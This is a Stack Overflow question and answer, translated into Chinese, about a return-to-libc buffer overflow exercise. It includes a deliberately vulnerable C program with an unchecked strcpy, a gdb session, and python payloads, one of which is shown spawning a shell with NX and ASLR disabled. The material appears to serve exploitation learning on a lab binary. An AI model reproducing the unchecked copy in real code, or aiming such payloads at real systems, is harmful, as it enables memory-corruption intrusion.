首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >ROP缓冲区溢出问题

ROP缓冲区溢出问题
EN

Stack Overflow用户
提问于 2019-01-27 20:21:00
回答 1查看 328关注 0票数 0

我在做缓冲区溢出的练习,我似乎无法让它工作.

在本文的调用参数一节中,他利用这个程序使用变量not_used而不是/bin/date

代码语言:javascript
复制
char* not_used = "/bin/sh";

void not_called() {
    printf("Not quite a shell...\n");
    system("/bin/date");
}

void vulnerable_function(char* string) {
    char buffer[100];
    strcpy(buffer, string);
}

int main(int argc, char** argv) {
    vulnerable_function(argv[1]);
    return 0;
}

为此,他获取not_usedsystem@plt内存地址,然后用它们替换堆栈:

代码语言:javascript
复制
| 0x8048580 <not_used>             |
| 0x43434343 <fake return address> |
| 0x8048360 <address of system>    |
| 0x42424242 <fake old %ebp>       |
| 0x41414141 ...                   |
|   ... (0x6c bytes of 'A's)       |
|   ... 0x41414141                 |

然而,当我尝试这样做的时候,我只得到了一个Segmentation Fault

代码语言:javascript
复制
frinto@kali:~/Documents/theclang/programs/rop/argrop$ gdb -q a.out
Reading symbols from a.out...(no debugging symbols found)...done.
(gdb) break main
Breakpoint 1 at 0x122e
(gdb) run
Starting program: /home/frinto/Documents/theclang/programs/rop/argrop/a.out 

Breakpoint 1, 0x5655622e in main ()
(gdb) print 'system@plt'
$1 = {<text variable, no debug info>} 0x56556050 <system@plt>
(gdb) x/s (int)not_used
0x56557008: "/bin/sh"
(gdb) 

然后我建造了我的有效载荷并运行了它:

代码语言:javascript
复制
frinto@kali:~/Documents/theclang/programs/rop/argrop$ ./a.out "$(python -c 'print "A"*0x6c + "BBBB" + "\x50\x60\x55\x56" + "CCCC" + "\x08\x70\x55\x56"')"
Segmentation fault

这里有什么问题呢?提前感谢您的帮助!

内存随机化被禁用。

EN

回答 1

Stack Overflow用户

发布于 2020-01-24 01:35:50

如果禁用了NXASLR,只需执行ret2libc,不要将其定向到not_called()函数

我使用IDA找到了not_used变量的字符串地址:

  1. 字符串/bin/sh地址= 0x08048530
  2. system()地址= 0xb7e36da0
  3. 假地址= JUNK

剥削:

代码语言:javascript
复制
`python -c 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\xa0\x6d\xe3\xb7"+"JUNK"+"\x30\x85\x04\x08"'`

PoC:

代码语言:javascript
复制
% ./vulnerable `python -c 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\xa0\x6d\xe3\xb7"+"JUNK"+"\x30\x85\x04\x08"'`
$
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/54392506

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档